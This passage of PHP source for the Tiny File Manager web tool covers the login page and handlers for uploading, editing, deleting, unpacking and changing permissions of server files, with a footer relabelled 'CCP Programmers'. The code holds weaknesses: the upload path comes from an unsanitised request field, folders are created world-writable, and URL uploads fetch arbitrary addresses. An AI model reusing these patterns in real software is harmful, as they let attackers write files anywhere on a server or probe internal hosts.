<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="form-group">
<label for="fm_usr"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="form-group">
<label for="fm_pwd"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="form-group">
<?php fm_show_message(); ?>
</div>
<div class="form-group">
<button type="submit" class="btn btn-success btn-block mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}
// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>Root path \"{$root_path}\" not found!</h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items);
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
// save
if (isset($_POST['type']) && $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
//search : get list of files from the current folder
if(isset($_POST['type']) && $_POST['type']=="search") {
$dir = FM_ROOT_PATH;
$response = scan(fm_clean_path($_POST['path']), $_POST['content']);
echo json_encode($response);
exit();
}
// backup files
if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
$fileName = $_POST['file'];
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) && $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
$caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['calc_folder'] != $caf) {
$cfg->data['calc_folder'] = $caf;
$calc_folder = $caf;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, get_file_path());
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
}
} else {
fm_set_msg('Invalid file or folder name', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$type = $_GET['type'];
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($_GET['type'] == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
} else {
fm_set_msg('File extension is not allowed', 'error');
}
} else {
fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert');
} else {
fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error');
}
}
} else {
fm_set_msg('Invalid characters in file or folder name', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg('Source path not defined', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . '/' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move/duplicate
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) { // Move and to != from so just perform move
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg('File or folder with this path already exists', 'alert');
} else {
fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
}
} else { // Not move and to != from so copy with original name
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
}
}
} else {
if (!$move){ //Not move and to = from so duplicate
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
//Create new name for duplicate
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
// Check if a file with the duplicate name already exists, if so, make new name (edge case...)
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
}
}
else{
fm_set_msg('Paths must be not equal', 'alert');
}
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg('Paths must be not equal', 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) && $old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
}
} else {
fm_set_msg('Invalid characters in file name', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' && is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
$override_file_name = false;
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $_REQUEST['fullpath'];
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if(file_exists ($fullPath) && !$override_file_name) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
}
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
if (move_uploaded_file($tmp_name, $fullPath)) {
// Be sure that the file has been uploaded
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg('Operations with archives are not available', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname)));
} else {
fm_set_msg('Archive not created', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg('File not found', 'error');
}
if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
fm_set_msg('Operations with archives are not available', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
//TODO:: need to handle the error
$res = true;
}
}
if ($res) {
fm_set_msg('Archive unpacked');
} else {
fm_set_msg('Archive not unpacked', 'error');
}
} else {
fm_set_msg('File not found', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg('Permissions changed');
} else {
fm_set_msg('Permissions not changed', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) && fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
//get the allowed file extensions
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION && $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
<script>
Dropzone.options.fileUploader = {
timeout: 120000,
maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg('Nothing selected', 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
<p>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
